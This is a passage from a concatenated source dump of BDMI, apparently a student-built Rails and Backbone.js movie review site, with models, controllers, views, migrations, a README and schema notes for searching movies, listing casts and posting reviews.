true }); } var $anchor = $(this); if ($($anchor.attr('href')) !== []) { $('html, body').stop().animate({ scrollTop: $($anchor.attr('href')).offset().top }, 1500, 'easeInOutExpo'); } event.preventDefault(); }); } }); <file_sep>/app/assets/javascripts/models/watched_movie.js BDMI.Models.WatchedMovie = Backbone.Model.extend({ urlRoot: "/api/watcheds" }); <file_sep>/app/views/api/actors/actors.json.jbuilder json.array! @actors do |actor| unless actor.profile_path.nil? json.extract!( actor, :id, :name, :profile_path ) json.extract!(@config, :base_url) end end <file_sep>/app/views/api/reviews/_review.json.jbuilder json.extract!( review, :id, :title, :body, :grade, :created_at, :updated_at, :author_id ) json.set! :author_name, review.author.username json.set! :num_likes, review.likes.count <file_sep>/app/helpers/api/watcheds_helper.rb module Api::WatchedsHelper end <file_sep>/app/helpers/api/wanteds_helper.rb module Api::WantedsHelper end <file_sep>/app/views/api/movies/search.json.jbuilder json.array! @movies do |movie| unless movie.poster_path.nil? json.extract!( movie, :id, :title, :release_date, :vote_average, :vote_count, :popularity, :poster_path, :overview ) json.extract!(@config, :base_url) end end <file_sep>/app/assets/javascripts/views/reviews/review_form.js BDMI.Views.ReviewForm = Backbone.View.extend({ template: JST['reviews/review_form'], className: "review-form group", events: { "click #create-btn": "postReview", 'click .my-background': 'handleRemove', 'click .close-form': 'removeBtn', 'click #cancel-btn': 'removeBtn' }, initialize: function(options) { $(document).on('keyup', this.handleKey.bind(this)); this.movie = options.movie; this.parentView = options.mainView; }, handleKey: function (event) { if (event.keyCode === 27) { this.$(".my-background").remove(); this.$(".my-content").addClass('animated fadeOut'); this.$(".my-content").one('webkitAnimationEnd', function() { this.remove(); }.bind(this)); } }, handleRemove: function (event) { this.$(".my-background").remove(); this.$(".my-content").addClass('animated fadeOut'); this.$(".my-content").one('webkitAnimationEnd', function() { this.remove(); }.bind(this)); }, removeBtn: function (event) { event.preventDefault(); this.$(".my-background").remove(); this.$(".my-content").addClass('animated rollOut'); this.$(".my-content").one('webkitAnimationEnd', function() { this.remove(); }.bind(this)); }, render: function() { var content = this.template({ review: this.model }); this.$el.html(content); this.onRender(); return this; }, onRender: function() { this.$('#star').raty('destroy'); this.$('#star').raty({ starOff: "http://res.cloudinary.com/dypfv4yqq/image/upload/v1439888579/star-off_j7trzb.png", starOn: "http://res.cloudinary.com/dypfv4yqq/image/upload/v1439888579/star-on_iezcg6.png", starHalf: "http://res.cloudinary.com/dypfv4yqq/image/upload/v1439888579/star-half_w79ezb.png", helf: true, score: 0, scoreName:"review[grade]" }); }, postReview: function(event) { event.preventDefault(); var formdata = $("#review-form").serializeJSON().review; formdata.grade *= 2; formdata.movie_id = this.movie.id; this.model.save(formdata, { success: function() { var per_votes = this.movie.get('votes'); var updated_score = (this.movie.get('vote_score') * per_votes + formdata.grade) / (per_votes + 1); this.movie.set('vote_score', updated_score); this.movie.set('votes', per_votes + 1); this.model.set('author_name', BDMI.CURRENT_USER.username); this.parentView.fromFetch = false; this.collection.add(this.model); this.$(".my-background").remove(); this.$(".my-content").addClass('animated zoomOutUp'); this.$(".my-content").one('webkitAnimationEnd', function() { this.remove(); }.bind(this)); }.bind(this), error: function(model,error,options) { var messages = $.parseJSON(error.responseText); this.flashAlert(messages.error); }.bind(this), }); }, // TODO save data for later saveForLater: function(event) { event.preventDefault(); var formdata = $("#review-form").serializeJSON().review; this.model.set(formdata); this.$(".my-background").remove(); this.$(".my-content").addClass('animated zoomOutDown'); this.$(".my-content").one('webkitAnimationEnd', function() { this.remove(); }.bind(this)); }, flashAlert: function(messages) { var alertView = new BDMI.Views.AlertView({ messages: messages }); $('body').append(alertView.$el); alertView.render(); alertView.$(".alert").addClass('animated fadeIn'); setTimeout(function() { alertView.$(".alert").removeClass('fadeIn'); alertView.$(".alert").addClass('fadeOut'); alertView.$(".alert").one("webkitAnimationEnd", function() { alertView.remove(); }); },2000); } }); <file_sep>/app/views/api/movies/show.json.jbuilder json.partial! 'movie_show', movie: @movie, watched: @watched, wanted: @wanted, score: @vote_score, votes: @votes, display_images: true, display_score: true, display_reviews: true, display_posters: true, display_actors: true, display_genres: true, display_user: true <file_sep>/app/models/review.rb # == Schema Information # # Table name: reviews # # id :integer not null, primary key # author_id :integer not null # movie_id :integer not null # grade :integer not null # title :string # body :string # created_at :datetime not null # updated_at :datetime not null # class Review < ActiveRecord::Base validates :author, :movie, :grade, :title, :body, presence:true belongs_to :movie belongs_to :author, foreign_key: :author_id, class_name: :User has_many :likes, as: :likeable end <file_sep>/app/models/genre.rb # == Schema Information # # Table name: genres # # id :integer not null, primary key # name :string not null # created_at :datetime not null # updated_at :datetime not null # class Genre < ActiveRecord::Base validates :name, presence: true has_many :taggings has_many :movies, through: :taggings Tmdb::Api.key(ENV['THEMOVIEDB_API_KEY']) def self.search_genre_detail_by_id(id) Tmdb::Genre.detail(id) end def self.find_genre(genre) @genre = Genre.find_by(name: genre.capitalize) unless genre.nil? @genre end end <file_sep>/db/migrate/20150815172536_create_taggings.rb class CreateTaggings < ActiveRecord::Migration def change create_table :taggings do |t| t.integer :movie_id, null: false t.integer :genre_id, null: false t.timestamps null: false end add_index :taggings, :movie_id add_index :taggings, :genre_id end end <file_sep>/app/views/api/actors/_actor.json.jbuilder json.extract!(actor, :id, :name, :birthday) if display_images json.images do json.array! actor.images do |image| json.partial! 'api/movies/image', image: image end end end if display_casting json.castings do json.array! actor.castings.where(movie_id: movie_id) do |casting| json.extract!(casting, :act_as, :ord) end end end <file_sep>/app/assets/javascripts/collections/movies.js BDMI.Collections.Movies = Backbone.Collection.extend({ url: "/api/movies", model: BDMI.Models.Movie, getOrFetch: function(id) { var movie = this.get(id); if (!movie) { movie = new BDMI.Models.Movie({ id:id }); this.add(movie); var movies = this; movie.fetch({ error: function() { movies.remove(movie); } }); } else { movie.fetch(); } return movie; } }); <file_sep>/app/assets/javascripts/views/actors/actors.js BDMI.Views.Actors = Backbone.CompositeView.extend({ template: JST['actors/actors'], initialize: function() { this.listenTo(this.collection, 'add', this.addActorView); this.listenTo(this.collection, 'sync', this.render); this.collection.each(this.addActorView.bind(this)); }, addActorView: function(actor) { var subview = new BDMI.Views.Actor({ model: actor }); this.addSubview(".all-actors",subview); }, render: function() { var content = this.template(); this.$el.html(content); this.attachSubviews(); return this; } }); <file_sep>/app/assets/javascripts/views/alert.js BDMI.Views.AlertView = Backbone.View.extend({ template: JST['alerts/no_more_alert'], className: "alert-view", initialize: function(options) { this.messages = options.messages; }, render: function() { var messages = this.messages.join(", "); var content = this.template({ messages: messages }); this.$el.html(content); return this; } }); <file_sep>/app/assets/javascripts/models/intro_movie.js BDMI.Models.IntroMovie = Backbone.Model.extend({ urlRoot: "/api/intro_movies_index", parse: function(payload) { if(payload.images) { this.images().set(payload.images); delete payload.images; } if(payload.reviews) { this.reviews().set(payload.reviews); delete payload.reviews; } return payload; }, images: function() { if(this._images === undefined) { this._images = new BDMI.Collections.MovieImages(); } return this._images; }, reviews: function() { if(this._reviews === undefined) { this._reviews = new BDMI.Collections.Reviews(); } return this._reviews; } }); <file_sep>/docs/phases/phase4.md # Phase 4: Ranking System ## Rails ### Models Movie ### Controllers Api::MoviesController (search) ### Views tags/<%=type%>.json.jbuilder ## Backbone ### Models Type ### Collections Types ### Views User_show, User_reviews, Watch_list, Watched_list ## Gems/Libraries <file_sep>/app/assets/javascripts/views/movies/first_result_item.js BDMI.Views.FirstResultView = Backbone.CompositeView.extend({ template: JST['movie/first_result_item'], className: "results_item", events: { // "click .first-item-image":"handleClick", "click #explore": "explore", // "mouseenter .first-item-image": "handleEnter", // "mouseleave .first-item-image": "handleLeave" }, initialize: function() { this.listenTo(this.model, 'sync change', this.render); }, render: function() { var poster_url = this.model.attributes.base_url + "original" + this.model.attributes.poster_path; var content = this.template({ movie: this.model, poster_url: poster_url }); this.$el.html(content); this.onRender(); return this; }, handleClick: function(event) { this.$el.addClass('animated flipOutX'); this.$el.one('webkitAnimationEnd', function() { this.movieShow(); this.render(); }.bind(this)); }, movieShow: function() { window.scrollTo(0, 0); Backbone.history.navigate("movies/"+this.model.id, { trigger: true }); }, handleEnter: function(event) { $(event.currentTarget).addClass('animated infinite pulse'); }, handleLeave: function(event) { $(event.currentTarget).removeClass('animated infinite pulse'); }, onRender: function() { this.$('#star').raty('destroy'); var grade = this.model.attributes.vote_average / 2; this.$('#star').raty({ starOff: "http://res.cloudinary.com/dypfv4yqq/image/upload/v1439888579/star-off_j7trzb.png", starOn: "http://res.cloudinary.com/dypfv4yqq/image/upload/v1439888579/star-on_iezcg6.png", starHalf: "http://res.cloudinary.com/dypfv4yqq/image/upload/v1439888579/star-half_w79ezb.png", helf: true, score: grade, readOnly: true }); }, explore: function(event) { window.scrollTo(0, 0); Backbone.history.navigate("movies/"+this.model.id, { trigger: true }); } }); <file_sep>/README.md # BDMI Live: www.bdmi.co ## Screenshots ![alt tag](http://res.cloudinary.com/dypfv4yqq/image/upload/c_scale,w_400/v1441694957/Screen_Shot_2015-09-07_at_11.43.19_PM_ucpox6.png) ![alt tag](http://res.cloudinary.com/dypfv4yqq/image/upload/c_scale,w_400/v1441694957/Screen_Shot_2015-09-07_at_11.43.51_PM_r0z1hk.png) ![alt tag](http://res.cloudinary.com/dypfv4yqq/image/upload/c_scale,w_400/v1441694957/Screen_Shot_2015-09-07_at_11.44.06_PM_yzw9rf.png) ![alt tag](http://res.cloudinary.com/dypfv4yqq/image/upload/c_scale,w_400/v1441694957/Screen_Shot_2015-09-07_at_11.44.28_PM_rkmwzf.png) ![alt tag](http://res.cloudinary.com/dypfv4yqq/image/upload/c_scale,w_400/v1441694957/Screen_Shot_2015-09-07_at_11.46.02_PM_geim40.png) ![alt tag](http://res.cloudinary.com/dypfv4yqq/image/upload/c_scale,w_400/v1441694957/Screen_Shot_2015-09-07_at_11.44.42_PM_ghrtfx.png) ![alt tag](http://res.cloudinary.com/dypfv4yqq/image/upload/c_scale,w_400/v1441694958/Screen_Shot_2015-09-07_at_11.45.26_PM_y1yeil.png) ## Description BDMI is a movie searching platform powered by Themoviedb.org. Users are able to search for movies by their titles in any languages, watch trailers, view the casts, and leave reviews. Users can also find the information that which movies are showing in theaters right now, or check the overall top rated movies. Each user has a watch-list that user can add the moives they want to watch later to it, and a watched movies list that collect all the movies that the user has watched. ## Technologies Back-end: - Single-page web app using Ruby on Rails and Backbone.js - Uses custom script to seed Postgres SQL database with data through Tmdb's API - Movie backdrops and actor/actress profile photos share an Images table via polymorphic associations to keep database normailzed - APIs used: Tmdb, Cloudinary Front-end: - Uses bootstrap and CSS3 animations - Uses YouTube API to embed a YouTube player for playing trailers - Uses scrollSpy ## Minimum Viable Product BDMI is a clone of IMDB built on Rails and Backbone. Users can: <!-- This is a Markdown checklist. Use it to keep track of your progress! --> - [x] Create accounts - [x] Create sessions (log in) - [x] View movies info and grades - [x] View casts - [x] View reviews - [x] Add reviews to movie - [x] Grade movies - [x] Play trailers - [x] Search for movies by title - [x] View actor/actress Info - [x] View actor/actress's attended movies - [x] Search for actor/actress by name - [x] Add movie to personal watch list - [x] Collect watched movies ## TO-DO List - [ ] Add third parties login - [ ] Allow user delete movies from list - [ ] Allow user to reply to reviews - [ ] Redesign user homepage for better user experience <!--## Design Docs--> <!--* [View Wireframes][views]--> <!--* [DB schema][schema]--> <!--[views]: ./docs/views.md--> <!--[schema]: ./docs/schema.md--> <!--## Implementation Timeline--> <!--### Phase 1: User Authentication, Movie Index Page (~1 day)--> <!--I will implement user authentication in Rails based on the practices learned at--> <!--App Academy. By the end of this phase, users will be able to comment movies using--> <!--a simple text form in a Rails view. The most important part of this phase will--> <!--be pushing the app to Heroku and ensuring that everything works before moving on--> <!--to phase 2.--> <!--[Details][phase-one]--> <!--### Phase 2: Viewing Movie Info and Adding Reviews (~4 days)--> <!--I will add API routes to serve blog and post data as JSON, then add Backbone--> <!--models and collections that fetch data from those routes. By the end of this--> <!--phase, users will be able to view a list of movies and their grades, or view--> <!--movies castings, add reviews, and grade the movie in its show page inside a--> <!--single Backbone app.--> <!--[Details][phase-two]--> <!--### Phase 3: Search (~3 days)--> <!--I'll need to add `search` routes to Movies and actors controllers. On the--> <!--Backbone side, there will be a `SearchResults` composite view has `MoviesIndex`--> <!--subviews and `ActorIndex` subviews.--> <!--[Details][phase-three]--> <!--### Phase 4: Play trailer and personal list(~2 days)--> <!--I'll use YouTube api to embed YouTube player and play trailer in movie's show--> <!--page. I'll have a user homepage which contains `UserReviews`, `UserWatchList`,--> <!--and `UserWatchedList` subviews to display the information that the user stored--> <!--in the app.--> <!--[Details][phase-four]--> <!--### Bonus Features (TBD)--> <!--- [x] "Watched" button and "Would Watch" button--> <!--- [x] Pagination/infinite scroll--> <!--- [ ] Multiple sessions/session management--> <!--- [ ] Typeahead search bar--> <!--[phase-one]: ./docs/phases/phase1.md--> <!--[phase-two]: ./docs/phases/phase2.md--> <!--[phase-three]: ./docs/phases/phase3.md--> <!--[phase-four]: ./docs/phases/phase4.md--> <file_sep>/app/assets/javascripts/views/search_dropdown_item.js BDMI.Views.SearchDropDownItem = Backbone.View.extend({ template_movie: JST['movie/search_dropdown_item'], template_actor: JST['actors/search_dropdown_item'], className: 'search-dropdown-item', events: { 'click': "handleClick" }, initialize: function(options) { this.type = options.type; }, render: function() { if (this.type === 'movie') { this.poster_url = this.model.attributes.base_url + "original" + this.model.attributes.poster_path; this.$el.html(this.template_movie({ poster_url: this.poster_url, movie: this.model })); this.onRender(); } else { var image_url = this.model.attributes.base_url + "original" + this.model.attributes.profile_path; var title = this.model.attributes.name; this.$el.html(this.template_actor({ image_url: image_url, title: title })); } return this; }, handleClick: function() { window.scrollTo(0, 0); if (this.type === 'movie') { Backbone.history.navigate("movies/"+this.model.id, { trigger: true }); } else { Backbone.history.navigate('person/'+ this.model.id, { trigger: true }); } }, onRender: function() { this.$('#star').raty('destroy'); var grade = this.model.attributes.vote_average / 2; this.$('#star').raty({ starOff: "http://res.cloudinary.com/dypfv4yqq/image/upload/v1439888579/star-off_j7trzb.png", starOn: "http://res.cloudinary.com/dypfv4yqq/image/upload/v1439888579/star-on_iezcg6.png", starHalf: "http://res.cloudinary.com/dypfv4yqq/image/upload/v1439888579/star-half_w79ezb.png", helf: true, score: grade, readOnly: true }); }, }); <file_sep>/db/migrate/20150818233354_create_wantwatchmovies.rb class CreateWantwatchmovies < ActiveRecord::Migration def change create_table :wantwatchmovies do |t| t.integer :user_id, null: false t.integer :movie_id, null: false t.timestamps null: false end add_index :wantwatchmovies, :user_id add_index :wantwatchmovies, :movie_id end end <file_sep>/app/views/api/users/_user_movie.json.jbuilder json.extract!( movie, :id, :title, :release_date, :vote_average, :vote_count, :popularity, :revenue, :runtime, :overview, :budget, :tagline, :imdb_id, ) json.set! :poster, movie.posters.first <file_sep>/app/controllers/api/reviews_controller.rb class Api::ReviewsController < ApplicationController def index page = params[:page] || 1 movie_id = params[:movie_id] user_id = params[:user_id] if movie_id && user_id @reviews = Review.where('movie_id = ? and author_id = ?', movie_id, user_id) .limit(4) .offset(( page.to_i - 1) * 4 ) .includes(:author) .order(created_at: :desc) elsif movie_id @reviews = Review.where('movie_id = ?', movie_id) .limit(4) .offset(( page.to_i - 1) * 4 ) .includes(:author) .order(created_at: :desc) elsif user_id @reviews = Review.where('author_id = ?', user_id) .limit(4) .offset(( page.to_i - 1) * 4 ) .includes(:author) .order(created_at: :desc) end render "api/reviews/index" end def create @review = current_user.reviews.new(review_params) if @review.save movie = Movie.find(@review.movie_id) movie.update_score_and_num_of_votes(@review.grade) movie.save render json: @review else render json: { error: @review.errors.full_messages }, status: 422 end end def update @review = Review.find(params[:id]) if @review.update(review_params) render json: @review else render json: { error: @review.errors.full_messages }, status: 422 end end def destroy @review = Review.find(params[:id]) @review.destroy render json: {} end def show @review = Review.find(params[:id]) render json: @review end private # def current_movie # @movie = Movie.find(params[:movie_id]) # end def review_params params.require(:review).permit(:title, :body, :grade, :movie_id) end end <file_sep>/app/assets/javascripts/views/actors/actor_info.js BDMI.Views.ActorInfoView = Backbone.CompositeView.extend({ template: JST['actors/actor_info'], initialize: function() { this.listenTo(this.model, 'sync', this.render); }, render: function() { var profile_url = this.model.images().first().attributes.image_url; var content = this.template({ actor: this.model, profile_url: profile_url }); this.$el.html(content); return this; } }); <file_sep>/app/assets/javascripts/collections/watched_movies.js BDMI.Collections.WatchedMovies = Backbone.Collection.extend({ url: "/api/watcheds", model: BDMI.Models.WatchedMovie }); <file_sep>/app/views/api/genres/_genre.json.jbuilder json.extract!(genre, :name) <file_sep>/app/views/api/actors/show.json.jbuilder json.partial! 'actor_show', actor: @actor, credits: @credits, config: @config, display_images: true, display_movies: true <file_sep>/app/models/movie.rb # == Schema Information # # Table name: movies # # id :integer not null, primary key # title :string not null # release_date :date # runtime :integer # vote_average :float # vote_count :integer # popularity :float # overview :text # imdb_id :string # revenue :integer # tagline :string # budget :integer # created_at :datetime not null # updated_at :datetime not null # require 'rest-client' class Movie < ActiveRecord::Base validates :title, presence: true has_many :reviews has_many :images, as: :imageable has_many :likes, as: :likeable has_many :posters, dependent: :destroy has_many :castings has_many :actors, through: :castings has_many :taggings has_many :genres, through: :taggings has_one :trailer has_many :watch_wants, foreign_key: :movie_id, class_name: :Wantwatchmovie has_many :want_watchers, through: :watch_wants, source: :user has_many :watcheds, foreign_key: :movie_id, class_name: :Watchedmovie has_many :watchers, through: :watcheds, source: :user Tmdb::Api.key(ENV['THEMOVIEDB_API_KEY']) def update_score_and_num_of_votes(score) all_scores = self.vote_average * (self.vote_count + self.reviews.count - 1) + score score = all_scores / (self.vote_count + self.reviews.count) end def self.search_by_title(title) Tmdb::Movie.find(title) end def self.find_config Tmdb::Configuration.new end def self.search_and_store_by_id(id) auth = { cloud_name: ENV['CLOUD_NAME'], api_key: ENV['CLOUD_API_KEY'], api_secret: ENV['CLOUD_API_SECRET'], upload_preset: ENV['UPLOAD_PRESET'] } config = Tmdb::Configuration.new movie = Tmdb::Movie.detail(id) id = movie['id'] title = movie['title'] release_date = movie['release_date'] vote_average = movie['vote_average'] vote_count = movie['vote_count'] popularity = movie['popularity'] overview = movie['overview'] runtime = movie['runtime'] imdb_id = movie['imdb_id'] tagline = movie['tagline'] budget = movie['budget'] revenue = movie['revenue'] unless movie['poster_path'].nil? || vote_count == 0 || release_date.nil? new_movie = Movie.create( id: id, title: title, release_date: release_date, vote_average: vote_average, vote_count: vote_count, popularity: popularity, overview: overview, runtime: runtime, imdb_id: imdb_id, tagline: tagline, budget: budget, revenue: revenue ) movie['genres'].each do |genre| genre_id = genre['id'] Tagging.create(genre_id: genre_id, movie_id: movie['id']) end unless movie['backdrop_path'].nil? backdrop_path = "#{config.base_url}original#{movie['backdrop_path']}" backdrop = Cloudinary::Uploader.upload(backdrop_path, auth) image_url = backdrop['url'] new_movie.images.create(image_url: image_url) end poster_path = "#{config.base_url}original#{movie['poster_path']}" poster = Cloudinary::Uploader.upload(poster_path, auth) poster_url = poster['url'] new_movie.posters.create(poster_url: poster_url) casts = Tmdb::Movie.casts(new_movie.id) casts.each do |actor| if actor['order'] < 11 person = Tmdb::Person.detail(actor['id']) unless person['profile_path'].nil? if Actor.find_by(id: person['id']).nil? new_actor = Actor.create!( id: person['id'], name: person['name'], place_of_birth: person['place_of_birth'], birthday: person['birthday'], biography: person['biography'] ) profile_path = "#{config.base_url}original#{person['profile_path']}" profile = Cloudinary::Uploader.upload(profile_path, auth) image_url = profile['url'] new_actor.images.create!(image_url: image_url) end Casting.create!( actor_id: person['id'], movie_id: new_movie.id, ord: actor['order'], act_as: actor['character'] ) end end end end new_movie end def self.search_trailer_by_id(id) resp = Tmdb::Movie.trailers(id) trailer = resp["youtube"].first Trailer.create!(source: trailer["source"], movie_id:id) unless trailer.nil? end #-------------------------------test--------------------------------- def self.getData RestClient.get "http://api.themoviedb.org/3/movie/10195/reviews?api_key=#{ENV['THEMOVIEDB_API_KEY']}" end def self.getacData Tmdb::Person.detail(287) end def self.upload auth = { cloud_name: ENV['CLOUD_NAME'], api_key: ENV['CLOUD_API_KEY'], api_secret: ENV['CLOUD_API_SECRET'], upload_preset: ENV['UPLOAD_PRESET'] }; Cloudinary::Uploader.upload("http://cf2.imgobject.com/t/p/w500/8uO0gUM8aNqYLs1OsTBQiXu0fEv.jpg", auth) end end <file_sep>/test/models/movie_test.rb # == Schema Information # # Table name: movies # # id :integer not null, primary key # title :string not null # release_date :date # runtime :integer # vote_average :float # vote_count :integer # popularity :float # overview :text # imdb_id :string # revenue :integer # tagline :string # budget :integer # created_at :datetime not null # updated_at :datetime not null # require 'test_helper' class MovieTest < ActiveSupport::TestCase # test "the truth" do # assert true # end end <file_sep>/app/models/trailer.rb # == Schema Information # # Table name: trailers # # id :integer not null, primary key # source :string not null # movie_id :integer not null # created_at :datetime not null # updated_at :datetime not null # class Trailer < ActiveRecord::Base validates :source, :movie, presence: true validates :movie, uniqueness: true belongs_to :movie end <file_sep>/docs/schema.md # Schema Information ## movies column name | data type | details ------------|-----------|----------------------- id | integer | not null, primary key title | string | not null release date| date | vote_average| float | vote_count | integer | popularity | float | revenue | integer | runtime | integer | budget | integer | tagline | string | overview | text | imdb_id | string | ## posters column name | data type | details ------------|-----------|----------------------- id | integer | not null, primary key movie_id | integer | not null, foreign key (references movies) poster_url | string | not null ## castings column name | data type | details ------------|-----------|----------------------- id | integer | not null, primary key movie_id | integer | not null, foreign key (references movies) actor_id | integer | not null, foreign key (references actors) act_as | string | ordering | integer | ## genres column name | data type | details ------------|-----------|----------------------- id | integer | not null, primary key name | string | not null ## images column name | data type | details --------------|-----------|----------------------- id | integer | not null, primary key image_url | string | not null thumbnil_url | string | imageable_id | integer | imageable_type| string | ## trailers column name | data type | details ---------------|-----------|----------------------- id | integer | not null, primary key source | string | not null movie_id | integer | not null, foreign key (references movies) ## actors column name | data type | details ---------------|-----------|----------------------- id | integer | not null, primary key name | string | not null place_of_birth | string | birthday | date | biography | text | ## reviews column name | data type | details ------------|-----------|----------------------- id | integer | not null, primary key author_id | integer | not null, foreign key (references users) movie_id | integer | not null, foreign key (references movies) title | string | not null body | string | grade | integer | ## taggings column name | data type | details ------------|-----------|----------------------- id | integer | not null, primary key movie_id | integer | not null, foreign key (references movies) genre_id | integer | not null, foreign key (references genres) ## wantwatchmovies column name | data type | details ------------|-----------|----------------------- id | integer | not null, primary key movie_id | integer | not null, foreign key (references movies) user_id | integer | not null, foreign key (references users) ## watchedmovies column name | data type | details ------------|-----------|----------------------- id | integer | not null, primary key movie_id | integer | not null, foreign key (references movies) user_id | integer | not null, foreign key (references users) ## users column name | data type | details ----------------|-----------|----------------------- id | integer | not null, primary key email | string | not null, unique username | string | not null, unique password_digest | string | not null session_token | string | not null, unique <file_sep>/app/assets/javascripts/views/reviews/review.js BDMI.Views.Review = Backbone.View.extend({ template: JST['reviews/review'], className: "review-section-item", initialize: function() { this.listenTo(this.model, 'sync', this.render); }, getTimeAgo: function(){ return $.timeago(this.model.get('created_at')); }, render: function() { var content = this.template({ review: this.model, timeAgo: this.getTimeAgo() }); this.$el.html(content); this.onRender(); return this; }, onRender: function() { this.$('#star').raty('destroy'); var grade = this.model.attributes.grade / 2; this.$('#star').raty({ starOff: "http://res.cloudinary.com/dypfv4yqq/image/upload/v1439888579/star-off_j7trzb.png", starOn: "http://res.cloudinary.com/dypfv4yqq/image/upload/v1439888579/star-on_iezcg6.png", starHalf: "http://res.cloudinary.com/dypfv4yqq/image/upload/v1439888579/star-half_w79ezb.png", helf: true, score: grade, readOnly: true }); } }); <file_sep>/docs/phases/phase1.md # Phase 1: User Authentication, Basic Movies and Comments ## Rails ### Models * User * Movie * Comment ### Controllers * UsersController (create, new) * SessionsController (create, new, destroy) * Api::MoviesController (index, show) ### Views * users/new.html.erb * session/new.html.erb * movies/index.json.jbuilder * root.html.erb ## Backbone ### Models * Movie ### Collections * Movies ### Views * Movies index ## Gems/Libraries * jbuilder * bcrypt <file_sep>/app/assets/javascripts/views/search_dropdown.js BDMI.Views.SearchDropDown = Backbone.CompositeView.extend({ template: JST['movie/search_dropdown'], className: 'search_dropdown_section', initialize: function(options) { this.listenTo(this.collection, 'sync', this.render); this.listenTo(this.collection, 'add', this.addDropDownItem); this.collection.each(this.addDropDownItem.bind(this)); this.count = 0; this.type = options.type; }, addDropDownItem: function(model) { if(this.count < 5) { var subview = new BDMI.Views.SearchDropDownItem({ model: model, type: this.type }); this.addSubview('#dropdown-index', subview); this.count += 1; } }, render: function() { var content = this.template(); this.$el.html(content); this.attachSubviews(); return this; } }); <file_sep>/app/models/like.rb # == Schema Information # # Table name: likes # # id :integer not null, primary key # author_id :integer not null # likeable_id :integer # likeable_type :string # created_at :datetime not null # updated_at :datetime not null # class Like < ActiveRecord::Base validates :author, presence: true belongs_to :author, foreign_key: :author_id, class_name: :User belongs_to :likeable, polymorphic: true end <file_sep>/app/models/actor.rb # == Schema Information # # Table name: actors # # id :integer not null, primary key # name :string not null # place_of_birth :string # birthday :date # created_at :datetime not null # updated_at :datetime not null # biography :text # class Actor < ActiveRecord::Base validates :name, presence: true has_many :castings has_many :movies, through: :castings has_many :images, as: :imageable has_many :likes, as: :likeable Tmdb::Api.key(ENV['THEMOVIEDB_API_KEY']) def self.search_actors_by_name(name) Tmdb::Person.find(name) end def self.search_credits(id) Tmdb::Person.credits(id) end def self.search_and_store_by_id(id) auth = { cloud_name: ENV['CLOUD_NAME'], api_key: ENV['CLOUD_API_KEY'], api_secret: ENV['CLOUD_API_SECRET'], upload_preset: ENV['UPLOAD_PRESET'] } config = Tmdb::Configuration.new person = Tmdb::Person.detail(id) actor = Actor.find_by(id: person['id']) if actor.nil? new_actor = Actor.create!( id: person['id'], name: person['name'], place_of_birth: person['place_of_birth'], birthday: person['birthday'], biography: person['biography'] ) profile_path = "#{config.base_url}original#{person['profile_path']}" profile = Cloudinary::Uploader.upload(profile_path, auth) image_url = profile['url'] new_actor.images.create!(image_url: image_url) else actor.update(biography: person['biography']) end end end <file_sep>/app/views/api/users/show.json.jbuilder json.extract! @user, :username json.reviews do json.array! @user.reviews.includes(:movie, :author) do |review| json.partial! 'user_review', review: review, author_name: @user.username end end json.watched_movies do json.array! @user.watched_movies.includes(:posters) do |movie| json.partial! 'user_movie', movie: movie end end json.wanted_movies do json.array! @user.wanted_movies.includes(:posters) do |movie| json.partial! 'user_movie', movie: movie end end <file_sep>/app/models/casting.rb # == Schema Information # # Table name: castings # # id :integer not null, primary key # movie_id :integer # actor_id :integer # ord :integer # act_as :string # created_at :datetime not null # updated_at :datetime not null # class Casting < ActiveRecord::Base belongs_to :actor belongs_to :movie end <file_sep>/app/models/user.rb # == Schema Information # # Table name: users # # id :integer not null, primary key # email :string not null # username :string not null # password_digest :string not null # session_token :string not null # created_at :datetime not null # updated_at :datetime not null # class User < ActiveRecord::Base validates :email, :username, :password_digest, :session_token, presence: true validates :email, :username, :session_token, uniqueness: true validates :password, length: { minimum: 6, allow_nil: true} attr_reader :password has_many :images, as: :imageable has_many :reviews, foreign_key: :author_id, class_name: :Review has_many :likes, foreign_key: :author_id, class_name: :Like has_many :want_watchs, foreign_key: :user_id, class_name: :Wantwatchmovie has_many :wanted_movies, through: :want_watchs, source: :movie has_many :has_watcheds, foreign_key: :user_id, class_name: :Watchedmovie has_many :watched_movies, through: :has_watcheds, source: :movie after_initialize :ensure_session_token def password=(password) @password = <PASSWORD> self.password_digest = BCrypt::Password.create(password) end def is_password?(password) BCrypt::Password.new(self.password_digest).is_password?(password) end def self.find_by_credentials(emailOrUsername,password) user = User.find_by(email: emailOrUsername) user ||= User.find_by(username: emailOrUsername) return nil unless user && user.is_password?(password) user end def reset_token! self.session_token = SecureRandom.urlsafe_base64(16) self.save! self.session_token end private def ensure_session_token self.session_token ||= SecureRandom.urlsafe_base64(16) end end <file_sep>/app/assets/javascripts/models/in_theaters_movie.js BDMI.Models.InTheatersMovie = Backbone.Model.extend({ urlRoot: "/api/in_theaters_movies", parse: function(payload) { if(payload.images) { this.images().set(payload.images); delete payload.images; } if(payload.reviews) { this.reviews().set(payload.reviews); delete payload.reviews; } if(payload.posters) { this.posters().set(payload.posters); delete payload.posters; } return payload; }, images: function() { if(this._images === undefined) { this._images = new BDMI.Collections.MovieImages(); } return this._images; }, reviews: function() { if(this._reviews === undefined) { this._reviews = new BDMI.Collections.Reviews(); } return this._reviews; }, posters: function() { if(this._posters === undefined) { this._posters = new BDMI.Collections.MoviePosters(); } return this._posters; } }); <file_sep>/app/controllers/api/genres_controller.rb class Api::GenresController < ApplicationController def index @genre = Genre.find_genre(params[:genre]) || Genre.first @config = Movie.find_config page = params[:page].to_i @genres = Genre.all @movies = Genre.search_genre_detail_by_id(@genre.id) @movies = @movies.get_page(page) unless (0..1).include? page render 'genre_index' end def show end end <file_sep>/app/assets/javascripts/collections/in_theaters_movies.js BDMI.Collections.InTheatersMovies = Backbone.Collection.extend({ url: "/api/in_theaters_movies", model: BDMI.Models.InTheatersMovie }); <file_sep>/app/controllers/api/movies_controller.rb class Api::MoviesController < ApplicationController def show @movie = Movie.find_by(id: params[:id]) unless @movie @movie = Movie.search_and_store_by_id(params[:id]) end @watched = @movie.watchers.include?(current_user) @wanted = @movie.want_watchers.include?(current_user) @reviews = @movie.reviews @votes = @movie.vote_count + @movie.reviews.count @vote_score = (@movie.vote_average * @movie.vote_count + @reviews.sum(:grade) + @reviews.count) / @votes render 'show' end def intro_movies_index @movies = Movie.order('popularity DESC').limit(4) render 'movie_index' end def in_theaters_movies_index page = params[:page] || 1 @movies = Movie.where('release_date > ? and release_date < ?', 3.months.ago, Date.today).order("vote_count DESC") .limit(8).offset((page.to_i - 1) * 8) render 'movie_index' end def top_rated page = params[:page] || 1 @movies = Movie.where('vote_average > ? and 